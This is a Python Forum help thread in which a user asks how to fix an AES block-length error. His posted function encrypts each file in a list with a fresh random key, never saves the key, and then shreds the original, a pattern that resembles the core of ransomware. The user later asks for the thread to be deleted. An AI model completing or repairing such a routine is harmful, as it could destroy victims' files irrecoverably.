Problem with using Crypto library - Printable Version +- Python Forum (https://python-forum.io) +-- Forum: Python Coding (https://python-forum.io/forum-7.html) +--- Forum: General Coding Help (https://python-forum.io/forum-8.html) +--- Thread: Problem with using Crypto library (/thread-25234.html) |
Problem with using Crypto library - reks2004 - Mar-24-2020 Hello my execute error are It happen when i exec command (only with several files)encrypted = AES_obj.encrypt(file_content)I know that it file_content length problem, but how solve this problem if i dont want to mess with file structure (now i'll encrypt it and next time i need to decrypt it to orginal state) Some more code def start_encryption(files): AES_and_base64_path = [] for found_file in files: key = generate_keys.generate_key(128, True) AES_obj = symmetric.AESCipher(key) found_file = base64.b64decode(found_file) print(found_file) try: with open(found_file, 'rb') as f: file_content = f.read() except: continue # print(file_content) encrypted = AES_obj.encrypt(file_content) # print(encrypted) utils.shred(found_file)Best regards ~Reks RE: Problem with using Crypto library - reks2004 - Mar-26-2020 hello, any one can delete this topic? I dont see option to delete by myself :) RE: Problem with using Crypto library - buran - Mar-27-2020 We don't delete threads. |